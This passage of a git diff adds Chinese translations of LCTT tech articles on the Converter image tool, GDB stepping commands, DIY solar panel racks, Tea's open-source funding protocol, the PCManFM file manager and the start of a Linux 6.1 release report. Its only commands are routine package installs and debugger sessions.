https://azuremarketplace.microsoft.com/en/marketplace/apps/kali-linux.kali +[8]: https://www.offensive-security.com +[9]: https://gitlab.com/kalilinux/build-scripts/kali-cloud +[10]: https://aws.amazon.com/marketplace/pp/prodview-fznsw3f7mq7to +[11]: https://news.itsfoss.com/content/images/2022/12/Kali-Linux-2022.4_GNOME43.jpg +[12]: https://news.itsfoss.com/gnome-43-release/ +[13]: https://github.com/lassekongo83/adw-gtk3 +[14]: https://qemu-project.gitlab.io/qemu/system/images.html +[15]: https://www.proxmox.com/en/proxmox-ve +[16]: https://virt-manager.org +[17]: https://libvirt.org +[18]: https://www.kali.org/blog/kali-linux-2022-4-release/#desktop-updates +[19]: https://www.kali.org/get-kali/ diff --git a/published/202212/20221208.1 ⭐️ Convert and Manipulate Images With ‘Converter’ GUI Tool in Linux.md b/published/202212/20221208.1 ⭐️ Convert and Manipulate Images With ‘Converter’ GUI Tool in Linux.md new file mode 100644 index 0000000000..eab96f22e5 --- /dev/null +++ b/published/202212/20221208.1 ⭐️ Convert and Manipulate Images With ‘Converter’ GUI Tool in Linux.md @@ -0,0 +1,88 @@ +[#]: subject: "Convert and Manipulate Images With ‘Converter’ GUI Tool in Linux" +[#]: via: "https://itsfoss.com/converter-tool/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15368-1.html" + +在 Linux 中使用 “Converter” GUI 工具转换和操作图像 +====== + +![][0] + +你可以随时在你的系统上 [安装 ImageMagick][1] 来转换图像,但并不是每个人都喜欢使用终端来转换和操作图像。 + +那么,如果你有一个 GUI 应用作为前端来帮助解决这个问题呢? **Converter** 就是这样的工具。 + +它是 ImageMagick 的前端。所以你不需要使用命令来转换和操作图像。 + +请注意,大多数 Ubuntu 系统通常都预装了 ImageMagick。如果你的系统上还没有安装,你可以随时参考我们的 [安装指南][1]。 + +### Converter:ImageMagick 的图形前端 + +![converter gui][2] + +转换图像不应该花费很多精力。这是一项简单的任务,而且应该如此。 + +我不想键入命令来快速转换图像。因此,我更喜欢使我能够更快地做事的图形工具。 + +[Converter][3] 是一个开源图形前端,可以让你做到这点。它是一个 GTK4 + libadwaita 应用。 + +你可以将图像转换为各种文件格式,包括 png、webp、jpeg、heif、heic 和 bmp。可以肯定地说,你获得了对最流行的图像文件格式的支持。所以,它应该会派上用场。 + +![file format converter][4] + +你可以设置一个位置来保存所有文件,转换后的图像将自动存储在该位置。 + +![customize converter][5] + +你还可以调整图像的质量、大小和背景颜色。要访问这些选项,请在转换图像之前单击用户界面中的“更多选项More Options”。 + +![converter more options][6] + +可以使用百分比、精确像素或比率自定义图像大小。对于精确操作,更改尺寸可能更有用。如果你希望图像缩放到一定程度,百分比或比例功能应该可以帮助你做到这一点。你还可以选择为图像添加滤镜。 + +总体而言,你可以获得使用 Converter 调整大小、转换和优化图像质量的基本功能。 + +你还可以 [调整 Nautilus][7] 以获得 [右键单击上下文菜单中的调整大小选项][8]。但它不像这个工具那样通用。 + +### 在 Linux 上安装 Converter + +Converter 在 [Flathub][9] 上以 Flatpak 的形式提供,可以安装在你选择的任何 Linux 发行版上。 + +遗憾的是,你无法在 Linux 系统上安装任何二进制包。因此,你可能需要参考我们的 [Flatpak 指南][10] 来安装它。 + +``` +flatpak install flathub io.gitlab.adhami3310.Converter +``` + +你可以在其 [GitLab 页面][3] 上探索更多相关信息。 + +_你对我们接下来要重点介绍的此类有趣工具有什么建议吗? 让我们在评论中知道。_ + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/converter-tool/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/install-imagemagick-ubuntu/ +[2]: https://itsfoss.com/wp-content/uploads/2022/12/converter-gui.png +[3]: https://gitlab.com/adhami3310/Converter +[4]: https://itsfoss.com/wp-content/uploads/2022/12/file-format-converter.png +[5]: https://itsfoss.com/wp-content/uploads/2022/12/customize-converter.png +[6]: https://itsfoss.com/wp-content/uploads/2022/12/converter-more-options.png +[7]: https://itsfoss.com/nautilus-tips-tweaks/ +[8]: https://itsfoss.com/resize-images-with-right-click/ +[9]: https://flathub.org/apps/details/io.gitlab.adhami3310.Converter +[10]: https://itsfoss.com/flatpak-guide/ +[0]: https://img.linux.net.cn/data/attachment/album/202212/21/161705qzvydyyd8v8y3cyh.jpg \ No newline at end of file diff --git a/published/202212/20221208.2 ⭐️⭐️ 7 pro tips for using the GDB step command.md b/published/202212/20221208.2 ⭐️⭐️ 7 pro tips for using the GDB step command.md new file mode 100644 index 0000000000..d864f7db50 --- /dev/null +++ b/published/202212/20221208.2 ⭐️⭐️ 7 pro tips for using the GDB step command.md @@ -0,0 +1,262 @@ +[#]: subject: "7 pro tips for using the GDB step command" +[#]: via: "https://opensource.com/article/22/12/gdb-step-command" +[#]: author: "Alexandra https://opensource.com/users/ahajkova" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15362-1.html" + +GDB 的 7 个单步调试命令 +====== + +![][0] + +> 即使是复杂的函数,也有几种方法可以单步调试,所以下次在排除代码故障时,可以尝试一下这些 GDB 技术。 + +**调试器** 是一个可以运行你的代码并检查问题的软件。[GNU Debugger][1](GBD)是最流行的调试器之一,在这篇文章中,我研究了 GDB 的 `step` 命令和其他几种常见情况的相关命令。`step` 是一个被广泛使用的命令,但它有一些人们不太了解的地方,可能会使得他们十分困惑。此外,还有一些方法可以**在不使用 `step` 命令的情况下进入一个函数**,比如使用不太知名的 `advance` 命令。 + +### 1、无调试符号 + +考虑以下这个简单的示例程序: + +``` +#include + + +int num() { + return 2; +} + +void bar(int i) { + printf("i = %d\n", i); +} + + +int main() { + bar(num()); + return 0; +} +``` + +如果你在没有 调试符号 debugging sysbols 的情况下进行编译(LCTT 译注:即在使用 `gcc` 编译程序时没有写 `-g` 选项),然后在 `bar` 上设置一个断点,然后尝试在这个函数内使用 `step` 来单步执行语句。GDB 会给出一个 没有行号信息 no line number information 的错误信息。 + +``` +gcc exmp.c -o exmp +gdb ./exmp +(gdb) b bar +Breakpoint 1 at 0x401135 +(gdb) r +Starting program: /home/ahajkova/exmp +Breakpoint 1, 0x0000000000401135 in bar () +(gdb) step +Single stepping until exit from function bar, +which has no line number information. +i = 2 +0x0000000000401168 in main () +``` + +### 2、stepi 命令 + +但是你仍然可以在没有行号信息的函数内部单步执行语句,但要使用 `stepi` 命令来代替 `step`。`stepi` 一次只执行一条指令。当使用 GDB 的 `stepi` 命令时,先做 `display/i $pc` 通常很有用,这会在每一步之后**显示** 程序计数器 program counter 的值和**相应的** 机器指令 machine instruction : + +``` +(gdb) b bar +Breakpoint 1 at 0x401135 +(gdb) r +Starting program: /home/ahajkova/exmp +Breakpoint 1, 0x0000000000401135 in bar () +(gdb) display/i $pc +1: x/i $pc +=> 0x401135 : sub $0x10,%rsp +``` + +在上述的 `display` 命令中,`i` 代表机器指令,`$pc` 表示程序计数器寄存器(即 PC 寄存器)。 + +使用 `info registers` 命令,来**打印寄存器的内容**,也是十分有用的。 + +``` +(gdb) info registers +rax 0x2 2 +rbx 0x7fffffffdbc8 140737488346056 +rcx 0x403e18 4210200 +(gdb) print $rax +$1 = 2 +(gdb) stepi +0x0000000000401139 in bar () +1: x/i $pc +=> 0x401139 : mov %edi,-0x4(%rbp) +``` + +### 3、复杂的函数调用 + +在带调试符号的 `-g` 选项,重新编译示例程序后,你可以使用行号在 `main` 中 `bar` 调用上设置断点,然后再单步执行 `bar` 函数的语句: + +``` +gcc -g exmp.c -o exmp +gdb ./exmp +(gdb) b exmp.c:14 +Breakpoint 1 at 0x401157: file exmp.c, line 14. +(gdb) r +Starting program: /home/ahajkova/exmp +Breakpoint 1, main () at exmp.c:14 +14 bar(num()); +``` + +接下来,用 `step`,来单步执行 `bar()` 函数的语句: + +``` +(gdb) step +num () at exmp.c:4 +4 return 2; +``` + +函数调用的参数需要在实际的函数调用之前进行处理,`bar()` 函数的参数是 `num()` 函数,所以 `num()` 会在 `bar()` 被调用之前执行。但是,通过 GDB 调试,你怎么才能如愿以偿地进入 `bar()` 函数呢?你可以使用 `finish` 命令,并再次使用 `step` 命令。 + +``` +(gdb) finish +Run till exit from #0 num () at exmp.c:4 +0x0000000000401161 in main () at exmp.c:14 +14 bar(num()); +Value returned is $1 = 2 +(gdb) step +bar (i=2) at exmp.c:9 +9 printf("i = %d\n", i); +``` + +### 4、tbreak 命令 + +`tbreak` 命令会设置一个**临时断点**。如果你不想设置永久断点,那么这个命令是很有用的。举个例子🌰,你想进入一个复杂的函数调用,例如 `f(g(h()), i(j()), ...)`,在这种情况下,你需要一个很长的 `step/finish/step` 序列,才能到达 `f` 函数。如果你设置一个临时断点,然后再使用 `continue` 命令,这样就不需要以上的序列了。为了证明这一点,你需要像以前一样将断点设置在 `main` 的 `bar` 调用上。然后在 `bar` 上设置临时断点。当到达该临时断点后,临时断点会被自动删除。 + +``` +(gdb) r +Starting program: /home/ahajkova/exmp +Breakpoint 1, main () at exmp.c:14 +14 bar(num()); +(gdb) tbreak bar +Temporary breakpoint 2 at 0x40113c: file exmp.c, line 9. +``` + +在调用 `bar` 的时候遇到断点,并在 `bar` 上设置临时断点后,你只需要使用 `continue` 继续运行直到 `bar` 结束。 + +``` +(gdb) continue +Continuing. +Temporary breakpoint 2, bar (i=2) at exmp.c:9 +9 printf("i = %d\n", i); +``` + +### 5、disable 命令 + +类似地,你也可以在 `bar` 上设置一个正常的断点,然后执行 `continue`,然后在不再需要第二个断点时,使用 `disable` 命令禁用这个断点,这样也能达到与 `tbreak` 相同的效果。 + +``` +(gdb) b exmp.c:14 +Breakpoint 1 at 0x401157: file exmp.c, line 14. +(gdb) r +Starting program: /home/ahajkova/exmp +Breakpoint 1, main () at exmp.c:14 +14 bar(num()); +(gdb) b bar +Breakpoint 2 at 0x40113c: file exmp.c, line 9. +(gdb) c +Continuing. +Breakpoint 2, bar (i=2) at exmp.c:9 +9 printf("i = %d\n", i); +(gdb) disable 2 +``` + +正如你所看到的,`info breakpoints` 命令在 `Enb` 列下显示为 `n`,这意味着这个断点已被禁用。但你也能在再次需要这个断点时,再启用它。 + +``` +(gdb) info breakpoints +Num Type Disp Enb Address What +1 breakpoint keep y 0x0000000000401157 in main at exmp.c:14 +breakpoint already hit 1 time +2 breakpoint keep n 0x000000000040113c in bar at exmp.c:9 +breakpoint already hit 1 time +(gdb) enable 2 +(gdb) info breakpoints +Num Type Disp Enb Address What +1 breakpoint keep y 0x000000000040116a in main at exmp.c:19 +breakpoint already hit 1 time +2 breakpoint keep y 0x0000000000401158 in bar at exmp.c:14 +breakpoint already hit 1 time +``` + +### 6、advance 命令运行程序到指定的位置 + +另一个进入函数内部的方法是 `advance` 命令。你可以简单地用 `advance bar`,来代替 `tbreak bar ; continue`。这一命令会将程序继续运行到指定的位置。 + +`advance` 命令的一个很棒的地方在于:如果程序并没有到达你试图进入的位置,那么 GDB 将在当前函数运行完成后停止。因此,程序的执行会受到限制: + +``` +Breakpoint 1 at 0x401157: file exmp.c, line 14. +(gdb) r +Starting program: /home/ahajkova/exmp +Breakpoint 1, main () at exmp.c:14 +14 bar(num()); +(gdb) advance bar +bar (i=2) at exmp.c:9 +9 printf("i = %d\n", i); +``` + +### 7、skip 命令 + +进入 `bar` 函数的另一种方式是使用 `skip num` 命令: + +``` +(gdb) b exmp.c:14 +Breakpoint 1 at 0x401157: file exmp.c, line 14. +(gdb) skip num +Function num will be skipped when stepping. +(gdb) r +Starting program: /home/ahajkova/exmp +Breakpoint 1, main () at exmp.c:14 +14 bar(num()); +(gdb) step +bar (i=2) at exmp.c:9 +9 printf("i = %d\n", i); +``` + +请使用 `info skip` 命令,来了解 GDB 跳过了哪些函数。`num()` 函数被标记为 `y`,表示跳过了 `num()` 函数: + +``` +(gdb) info skip +Num Enb Glob File RE Function +1 y n n num +``` + +如果不再需要 `skip`,可以禁用(并稍后重新启用)或完全删除它。你可以添加另一个 `skip`,并禁用第一个 `skip`,然后全部删除。要禁用某个 `skip`,必须指定其编号(例如,`skip disable 1`),如果没有指定,则会禁用所有的 `skip`。启用或删除 `skip` 的工作原理相同: + +``` +(gdb) skip bar +(gdb) skip disable 1 +(gdb) info skip +Num Enb Glob File RE Function +1 n n n num +2 y n n bar +(gdb) skip delete +(gdb) info skip +Not skipping any files or functions. +``` + +### GDB 的 step 命令 + +使用 GDB 的 `step` 命令是调试程序的一个有用工具。即使是复杂的函数,也有几种方法可以单步调试这些函数,所以下次你在排除代码问题的时候,可以尝试一下这些 GDB 技术。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/12/gdb-step-command + +作者:[Alexandra][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ahajkova +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/21/3/debug-code-gdb +[0]: https://img.linux.net.cn/data/attachment/album/202212/19/093831nrjrmozx1mixmgii.jpg \ No newline at end of file diff --git a/published/202212/20221209.0 ⭐️⭐️ Install open source solar power at home.md b/published/202212/20221209.0 ⭐️⭐️ Install open source solar power at home.md new file mode 100644 index 0000000000..6a2cd140e4 --- /dev/null +++ b/published/202212/20221209.0 ⭐️⭐️ Install open source solar power at home.md @@ -0,0 +1,64 @@ +[#]: subject: "Install open source solar power at home" +[#]: via: "https://opensource.com/article/22/12/open-source-solar-power-home" +[#]: author: "Joshua Pearce https://opensource.com/users/joshuapearce" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15374-1.html" + +在家里安装开源光伏支架 +====== + +![][0] + +> 看看这两个你可以为你的家庭建造的开源的光伏支架设计。 + +你可能已经考虑过用太阳能为你的家供电。将太阳光直接转化为电能的太阳能光伏电池板的成本已大幅下降,因此在任何地方都具有经济意义。这就是为什么大公司投入大量太阳能,甚至电力公司也开始安装大型太阳能发电场的原因,因为它的成本低于过时的化石燃料。像大多数房主一样,你想省钱并节省电费,但你可能对前期费用有点畏缩。为了大致了解成本,一个 5 千瓦系统,以 3 美元/瓦的价格为普通家庭供电,成本约为 15,000 美元,而更大的家庭可能需要 10 千瓦才能满足所有电力购买,成本为 30,000 美元。如果你想要电池,成本加倍(你不需要电池,因为大多数太阳能电池阵列连接到电网,但如果电网瘫痪,你的太阳能电池阵列也会瘫痪,直到它重新开启)。支付你未来几十年所有的电费是一种投资,即使你存了很多钱。 + +有一些好消息。首先,美国和加拿大都对太阳能实行了 30% 的税收抵免。此项优惠将价格降至约 2 美元/瓦。其次,[我们之前讨论][1] 过你可以获得一本免费书籍 《[捕捉阳光][2]》,它会引导你完成如何设计自己的系统(你仍然需要一个合格的电工和检查来把它连接到电网)。如果你有一点手艺,你可以将剩余成本削减约 50%。这些成本主要用于材料,包括太阳能电池板、布线、电子设备和支架。令人惊讶的是,对于小型太阳能系统(比如你家的太阳能系统)来说,太阳能电池板的成本下降得如此之低,以至于支架(支撑太阳能电池板的机械结构)的成本可能比面板还高! + +### 开源再次拯救 + +将开源开发范式应用于软件可以加快创新速度、改进产品并降低成本。开源硬件也是如此,甚至在光伏支架这个相对不为人知的领域也是如此。几乎所有的商业光伏支架都是由专有的奇特铝型材制成。它们会花很多钱。如果你有一些没有遮挡的后院,有一些开源的支架解决方案可以选择。 + +### 开源太阳能支架设计 + +第一个 DIY 太阳能支架设计符合以下标准:(1) 由当地可获得的可再生材料制成,(2) 25 年的使用寿命与太阳能保修相匹配,(3)能够由普通消费者制造,(4)能够符合加拿大结构建筑规范(如果你住在没有雪的地方,这有点矫枉过正,但是,嘿,你可能有其他极端天气需要应对,例如飓风),(5)低成本,(6)它是共享的,使用开源许可证。[开源的木质固定倾斜地面安装双面光伏支架设计][3] 在整个北美都适用。与商业专有支架相比,该支架系统可节省 49% 至 77%。然而,支架设计高度依赖于世界各地不同的木材成本。 + +在深入研究这个开源设计之前,请检查你当地的木材成本。 + +![Non-tilting solar rack plans][4] + +如果你更喜欢冒险,你可能会考虑第二种允许改变倾斜角度的设计。[第二项研究][5] 的结果表明,具有最佳可变季节性倾斜角的支架系统具有最佳的终身能量产生,与固定倾斜系统相比,产生的能量多 5.2%(或者,如果最大倾斜角限制为 60°,能量多 4.8%)。固定和可变木制支架系统的电力成本相似,仅为专有商业金属货架的 29%。可变倾斜支架提供了最低成本的选择,即使包括适度的劳动力成本,也可能为 [农业光伏][6] 等应用提供特定优势(即,你可以在面板下面种菜,对于莴苣等耐阴作物来说,能惊人地增加产量)。此设计已通过 [具有 CERN-OHL-S-2.0 许可证的 OSHWA][7] 的认证。 + +![Tilt-adjustable solar racks][8] + +所示的 2 个光伏模块架中的每一个大约有 1 千瓦。所以一所房子大约需要五个。这两篇论文都提供了完整的计算和分步建造说明。 + +正如拥有太阳能系统的任何人都会告诉你的那样,获得负电费是非常有益的。如果你的系统规模能满足你所有的负荷,并且住在该国的净计量地区,就会出现这种情况。请注意,电力公司不会向你付款;额度会一直延续到你在冬天使用它为止。 + +享受一点开源太阳能带来的乐趣! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/12/open-source-solar-power-home + +作者:[Joshua Pearce][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/joshuapearce +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/21/11/open-source-solar-power +[2]: https://tocatchthesun.com/ +[3]: https://doi.org/10.3390/designs6030041 +[4]: https://opensource.com/sites/default/files/2022-11/nontilt.png +[5]: https://doi.org/10.3390/designs6030054 +[6]: https://www.academia.edu/18406368/The_potential_of_agrivoltaic_systems +[7]: https://certification.oshwa.org/ca000013.html +[8]: https://opensource.com/sites/default/files/2022-11/tilt.png +[0]: https://img.linux.net.cn/data/attachment/album/202212/23/094653pn7mn3j22ymwymuw.jpg \ No newline at end of file diff --git a/published/202212/20221209.2 ⭐️⭐️ Tea Raises $8.9M to Introduce a New Protocol Helping Open-Source Developers Get Paid.md b/published/202212/20221209.2 ⭐️⭐️ Tea Raises $8.9M to Introduce a New Protocol Helping Open-Source Developers Get Paid.md new file mode 100644 index 0000000000..8969498a72 --- /dev/null +++ b/published/202212/20221209.2 ⭐️⭐️ Tea Raises $8.9M to Introduce a New Protocol Helping Open-Source Developers Get Paid.md @@ -0,0 +1,94 @@ +[#]: subject: "Tea Raises $8.9M to Introduce a New Protocol Helping Open-Source Developers Get Paid" +[#]: via: "https://news.itsfoss.com/tea-open-source-new-protocol/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15338-1.html" + +Tea 筹集了 890 万美元,推出了一个帮助开源开发者获得报酬的新协议 +====== + +> 这是一种帮助开源开发者获得报酬的令人兴奋的方式。 + +![Tea 筹集了 890 万美元,推出了一个帮助开源开发者获得报酬的新协议][1] + +[Tea][2] 是一个开源的统一软件包管理器,被全球许多开发者使用。 + +顺便说一句,Tea 是 Homebrew 的创建者的一个新项目。 + +在最近的一份公告中,他们宣布已经筹集了 890 万美元的种子资金,并计划推出一个新的 [Web3 协议][3],帮助开源开发者为他们的工作获得报酬。 + +我是通过 [TechCrunch][4] 上发表的一篇文章看到的,他们对 Tea 的创始人进行了访谈。 + +让我们来看看 Tea 的发展情况。 + +### Tea 提出的一项新协议 + +#### 它是什么? + +**简而言之:** 该协议将帮助软件包维护者获得不可伪造的代币(NFT),作为他们对带有 Tea 支持的开源项目的贡献的奖励。 + +展开来说就是,这是一个 Web3 协议,将帮助软件包维护者以不可伪造的通证(NFT)的形式获得报酬。 + +当维护者完成了一个软件包的提交,他们将收到一个不可伪造的通证(NFT),可以作为他们工作和贡献的证据。 + +现有的维护者也将能够通过将软件包的 NFT 转让给其他开发者来转移软件包的维护所有权。 + +> 这些 NFT 是 Tea 计划奖励其用户的核心。 + +实施这一点还将涉及被称为“包支持者”和“赞助者”的实体。 + +这些人包括组织、软件包用户、慈善家和企业家,他们使用开源软件来构建商业产品,并希望支持这样一个生态系统。 + +他们还提到: + +> 为了提供最广泛的覆盖面,我们认为奖励不能依靠跟踪安装或卸载这样简单的概念,而是要依靠激励机制,鼓励提交高质量的软件包和报告邪恶或高风险的软件包。 + +到目前为止,Tea 只发布了他们所说的 “同类 CLI(命令行界面)工具应具备的基本功能”。 + +到目前为止,还没有提到这个新协议的具体发布日期,他们对这个协议发布的最佳估计是“2023 年的某个时候”。 + +他们补充说: + +> 就像等到 11 月才发布我们的 CLI一样,我们会在了解它应该如何最好地构建并在内部经历了试验和错误之后才发布。 +> +> 我们要慢慢来,确保这个工具本身对开发者非常有用和有价值。 + +### 它有什么帮助? + +**根据 Tea 公司的说法:** 这应该有助于他们为所有开源软件创建一个开放、公开和稳定的注册中心。 + +反过来,鼓励项目独立发布版本,而不是依赖第三方,因为第三方会不可预测地收集他们的数据,导致大量的分立和经常重复的系统。 + +以下是他们对该协议的目标的描述: + +> Tea 的目标是通过 Tea 通证的独特用例来实现去中心化的激励机制,让 Tea 社区的任何成员为开源的永久可持续性和持续增长作出贡献。 +> +> 包的支持者和赞助者可以根据他们的工作、信仰或任何影响他们决定的标准和尺度,自由决定他们要支持哪些包或包维护者。 + +**在我看来:** 这是一个令人兴奋的方法,可以奖励那些经常被忽视的开源贡献者,即使他们为各种开源项目贡献了很多。 + +然而,考虑到 NFT 在最近一段时间获得了很多批评。这可能会或可能不会有好的结果。 + +如果你想了解更多,你可以深入研究它的官方 [白皮书][5] 上的协议。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/tea-open-source-new-protocol/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/cli-raise-funds-new-api-help-opensource-dev.png +[2]: https://tea.xyz +[3]: https://web3.foundation/about/ +[4]: https://techcrunch.com/2022/12/06/from-the-creator-of-homebrew-tea-raises-8-9m-to-build-a-protocol-that-helps-open-source-developers-get-paid/ +[5]: https://tea.xyz/tea.white-paper.pdf diff --git a/published/202212/20221211.0 ⭐️ Simplify your Linux PC with the PCManFM file manager.md b/published/202212/20221211.0 ⭐️ Simplify your Linux PC with the PCManFM file manager.md new file mode 100644 index 0000000000..1c0ce3b0b9 --- /dev/null +++ b/published/202212/20221211.0 ⭐️ Simplify your Linux PC with the PCManFM file manager.md @@ -0,0 +1,83 @@ +[#]: subject: "Simplify your Linux PC with the PCManFM file manager" +[#]: via: "https://opensource.com/article/22/12/linux-file-manager-pcmanfm" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15378-1.html" + +使用 PCManFM 文件管理器让你的 Linux PC 轻装上阵 +====== + +![][0] + +> PCMan 文件管理器是一个让旧电脑感觉更有效率的好选择。 + +PCMan 文件管理器,或简称 PCManFM,是一个功能齐全的快速轻量级文件管理器。它是为 [LXDE][1] 桌面环境开发的,但它是一个独立的应用,可以与你选择的桌面或窗口管理器一起使用。 + +### 安装 PCManFM + +在 Linux 上,你可能可以在软件仓库中找到 PCManFM。例如,在 Fedora、Mageia 和类似软件上: + +``` +$ sudo dnf install pcmanfm +``` + +在 Debian、Elementary 和类似系统上: + +``` +$ sudo apt install pcmanfm +``` + +![Image of the PCMan file manager.][2] + +不必用 PCManFM 替换你的桌面文件管理器,但某些发行版认为当你安装“第三方”文件管理器时,你会希望它优先于默认的文件管理器。根据你使用的桌面,有不同的方法来设置默认文件管理器。通常,它位于 系统设置System Settings 下的 默认应用Default Applications 中。 + +如果你的桌面环境或窗口管理器没有选择默认应用的界面,你可以在 `~/.local/share/applications/mimeapps.list` 文件中设置你的首选项。要将一个文件管理器指定为默认的,请将其放在 `[Default Applications]` 部分的顶部,首先指定文件类型,然后指定你想用于打开的应用文件的名称(在 `/usr/share/applications` 下): + +``` +inode/directory=myfilemanager.desktop; +``` + +### PCManFM + +如果你是 GNOME 2 或 Mate 项目的 [Caja 文件管理器][3] 的粉丝,那么 PCManFM 是一个不错的选择。PCManFM 在设计上很像 Caja,但它不像 Caja 那样绑定到桌面,所以它甚至可以在最新的 GNOME 桌面上使用。 + +PCManFM 的默认布局在窗口顶部附近有一个有用的工具栏,一个提供对常用目录和驱动器的快速访问的侧面板,以及一个包含有关你当前选择的详细信息的状态栏。你可以使用 视图View 菜单隐藏或显示这些元素中的任何一个。 + +### 选项卡和面板 + +PCManFM 也使用选项卡。如果你以前从未使用过选项卡式文件管理器,那么想想 Web 浏览器以及它如何使用选项卡让你在一个窗口中打开多个网页。PCManFM 可以类似地在同一窗口中打开多个目录。 + +要将文件或文件夹从一个选项卡传输到另一个选项卡,只需将文件的图标拖动到选项卡并悬停即可。少许延迟后,PCManFM 将目标选项卡置于最前面,以便你可以继续进行拖放操作。如果你不习惯与文件管理器中的选项卡进行交互,则需要一些时间来适应,但这不会花很长时间,而且它是整理工作区的一项非常强大的功能。 + +PCManFM 界面的另一个不错的功能是它能够将一个窗口分成两个面板。每个面板实际上都是一个选项卡,但每个面板只占窗口的一半。 + +![Image of dual panels in PCMan.png][4] + +这使得从一个面板拖到另一个面板就像将文件拖到文件夹中一样简单自然。我发现它对于比较文件夹的内容也很有用。 + +### 使用 PCMan 进行文件管理 + +PCManFM 是一款很棒的小型文件管理器,具有你日常所需的所有基本功能。它是你可能会觉得过于复杂的文件管理器的自然替代品,也是 [老旧计算机][5] 上的一个很好的选择,这些电脑可能对不断绘制缩略图、刷新和生成动画的文件管理器举步维艰。PCMan 专注于文件管理器的核心任务:管理文件。在你的 Linux 电脑上试试吧。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/12/linux-file-manager-pcmanfm + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/19/12/lxqt-lxde-linux-desktop +[2]: https://opensource.com/sites/default/files/2022-10/pcmanfilemanager.png +[3]: https://opensource.com/article/22/12/linux-file-manager-caja +[4]: https://opensource.com/sites/default/files/2022-10/%E2%80%8BDual.panel_.in%20PCManFM.png +[5]: https://opensource.com/article/22/10/obsolete-computer-linux-opportunity +[0]: https://img.linux.net.cn/data/attachment/album/202212/24/161333mssnim76ssugskie.jpg \ No newline at end of file diff --git a/published/202212/20221212.0 ⭐️⭐️ Linux Kernel 6.1 Released With Initial Rust Code.md b/published/202212/20221212.0 ⭐️⭐️ Linux Kernel 6.1 Released With Initial Rust Code.md new file mode 100644 index 0000000000..d33491862c --- /dev/null +++ b/published/202212/20221212.0 ⭐️⭐️ Linux Kernel 6.1 Released With Initial Rust Code.md @@ -0,0 +1,146 @@ +[#]: subject: "Linux Kernel 6.1 Released With Initial Rust Code" +[#]: via: "https://news.itsfoss.com/linux-kernel-6-1-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15343-1.html" + +Linux 内核 6.1 发布,包含初始 Rust 支持 +====== + +> Linux 内核 6.1 现在可以使用了!考虑到这是今年最后一个稳定版本,它有可能是 LTS 版本。 + +![Linux 内核 6.1 发布,包含初始 Rust 支持][1] + +Linux 内核 6.1 终于来了,它以改进和支持新硬件的形式为我们提前带来了节日礼物。🎄 + +它是在 Linux 内核 6.0 发布的几个月后出现的,当时的命名方案从 5.x.x 改为 6.x,以减少小版本号太多带来的混乱。 + +像往常一样,今年的最后一个内核版本 **可能被作为一个长期发布的版本**,从而得到几年的支持。 + +Linux 内核 6.1 如约带来了许多改进,并初步支持了 AMD 和英特尔尚未发布的硬件。 + +在发布公告中,Linus Torvalds 提到: + +> 所以到现在,我们晚了一个星期,不过上周已经没那么紧迫了,而且很顺利,我对 6.1 的状态要比几个星期前感到放心多了,当时似乎还比较紧迫。当然,这意味着现在我们有一个可怕的合并窗口,就在节日假期之前,而且我也有一些节前的旅行要安排。因此,虽然推迟一周是正确的做法,但它确实使 6.2 合并窗口的时间变得很尴尬。 + +他进一步补充说,考虑到每个人都应该过一个平静的假日季,他将会更严格的对合并窗口的规则进行要求。 + +### 🆕 Linux 内核 6.1 有什么新内容? + +在这个版本中,我们看到了各种变化,例如改进了对 ARM SoC 的支持,初步支持英特尔即将推出的 Meteor Lake CPU,以及 AMD 的 RDNA 3 GPU。 + 